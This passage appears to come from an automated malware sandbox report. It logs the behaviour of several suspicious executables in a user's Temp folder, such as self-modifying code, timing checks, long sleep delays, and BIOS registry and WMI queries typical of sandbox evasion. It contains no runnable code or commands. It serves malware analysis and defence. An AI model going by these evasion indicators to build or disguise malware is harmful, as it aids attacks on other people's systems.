Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Special instruction interceptor: First address: A489DF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Special instruction interceptor: First address: 9BD755 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Special instruction interceptor: First address: CEDADF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Special instruction interceptor: First address: CEDB9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Special instruction interceptor: First address: EA7DEF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Special instruction interceptor: First address: F1BACD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Special instruction interceptor: First address: 64DB71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Special instruction interceptor: First address: 64DBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Special instruction interceptor: First address: 64B6BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Special instruction interceptor: First address: 819F90 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Special instruction interceptor: First address: 8887B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Special instruction interceptor: First address: 4CE9C5 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Memory allocated: 4880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Memory allocated: 4C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Memory allocated: 4B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Memory allocated: 2DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Memory allocated: 2F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Memory allocated: 4F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Memory allocated: 4860000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Memory allocated: 4A70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Memory allocated: 48A0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

Code function: 3_2_00379B29 rdtsc

3_2_00379B29

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599639	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599525	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599059	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598838	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598433	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598186	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598019	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597774	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596866	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596763	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596354	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596130	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596005	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595888	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595751	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595632	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595524	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595408	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595285	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595168	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595049	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594929	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594795	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594686	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594565	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594451	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594340	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594209	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594070	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593928	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593737	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593615	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593495	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593274	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593158	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 593036	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592908	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592792	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592674	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592540	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592387	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 592275	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 706	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 423	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Window / User API: threadDelayed 4338	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Window / User API: threadDelayed 5433	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7117
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2607
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5920
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3827
Source: C:\Lipras\pdf.exe	Window / User API: threadDelayed 661
Source: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Window / User API: threadDelayed 583

Source: C:\Users\user\Desktop\file.exe TID: 4228	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe TID: 3200	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 528	Thread sleep count: 706 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 528	Thread sleep time: -1412706s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 320	Thread sleep count: 123 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 320	Thread sleep time: -246123s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1524	Thread sleep count: 423 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1524	Thread sleep time: -12690000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4676	Thread sleep count: 146 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4676	Thread sleep time: -292146s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6588	Thread sleep count: 119 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6588	Thread sleep time: -238119s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2820	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1524	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -599871s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -599750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -599639s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -599525s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -599059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -598838s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -598433s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -598186s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -598019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -597774s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -597546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -597218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -597109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -597000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -596866s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -596763s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -596354s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -596130s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -596005s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -595888s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -595751s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -595632s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -595524s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -595408s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -595285s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -595168s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -595049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -594929s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -594795s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -594686s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -594565s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -594451s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -594340s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -594209s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -594070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -593928s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -593737s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -593615s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -593495s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -593375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -593274s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -593158s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -593036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -592908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -592792s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -592674s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -592540s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -592387s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe TID: 7156	Thread sleep time: -592275s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep count: 7117 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep count: 2607 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1012	Thread sleep count: 51 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2848	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5844	Thread sleep count: 5920 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5228	Thread sleep count: 3827 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1472	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe TID: 2232	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe TID: 2292	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe TID: 6492	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe TID: 4212	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2180	Thread sleep time: -30000s >= -30000s
Source: C:\Lipras\pdf.exe TID: 5980	Thread sleep count: 661 > 30
Source: C:\Lipras\pdf.exe TID: 4320	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe TID: 7208	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Lipras\pdf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599639	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599525	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 599059	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598838	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598433	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598186	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 598019	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597774	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596866	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596763	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596354	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596130	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 596005	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595888	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595751	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595632	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595524	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595408	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595285	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595168	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 595049	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594929	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594795	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594686	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594565	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Thread delayed: delay time: 594451	Jump to behavior
